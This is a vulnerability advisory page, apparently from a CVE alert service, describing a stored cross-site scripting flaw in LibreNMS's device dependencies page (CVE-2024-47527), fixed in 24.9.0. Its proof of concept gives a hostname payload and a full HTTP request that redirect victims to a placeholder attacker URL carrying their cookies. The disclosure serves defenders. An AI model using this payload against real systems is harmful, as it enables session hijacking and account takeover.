CVE-2024-47527: LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device-dependencies.inc.php

Published Oct 1, 2024
·
Updated

Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.

Details The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.

For example, the following payload can be used to exploit the vulnerability: t'' autofocus onfocus="document.location='https://<attackerurl>/?c='+document.cookie"

When the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL.

The root cause of this vulnerability is the application's failure to sanitize the row.hostname value before including it in the HTML output.

This is evident in the following line of code: https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74

PoC 1. Add a new device using the following payload for the hostname: t'' autofocus onfocus="document.location='https://<attackerurl>/?c='+document.cookie" 2. Save the device. 3. Navigate to the device dependencies page. 4. Observe that the injected script executes, redirecting the user to the attacker's website with any non-httponly cookies included in the URL.

Example Request: http POST /addhost HTTP/1.1 Host: <yourhost> X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: <yourcookie>

token=<yourtoken>&hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%<attackerurl>%2F%3Fc%3D%27%2Bdocument.cookie%22&sysName=&hardware=&os=&osid=&snmpver=v2c&port=&transport=udp&portassocmode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&forceadd=on&Submit=

Impact It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.

Other sources

LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions. This vulnerability is fixed in 24.9.0.

MITRE

Affected Software

2 affected componentsFixes available
composer/librenms/librenms<24.9.0
24.9.0
librenms librenms<24.9.0

Event History

Oct 1, 2024
CVE Published
via MITRE·08:23 PM
Data Sourced
via MITRE·08:23 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:31 PM
Data Sourced
via NVD·09:15 PM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-47527?

CVE-2024-47527 is classified as a medium severity vulnerability due to its potential for stored cross-site scripting (XSS) attacks.

2

How do I fix CVE-2024-47527?

To fix CVE-2024-47527, upgrade to Librenms version 24.9.0 or later immediately.

3

What software is affected by CVE-2024-47527?

CVE-2024-47527 affects all versions of Librenms prior to 24.9.0.

4

What type of vulnerability is CVE-2024-47527?

CVE-2024-47527 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Device Dependencies feature.

5

Who can exploit CVE-2024-47527?

CVE-2024-47527 can be exploited by any authenticated user with the ability to create or modify device entries.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203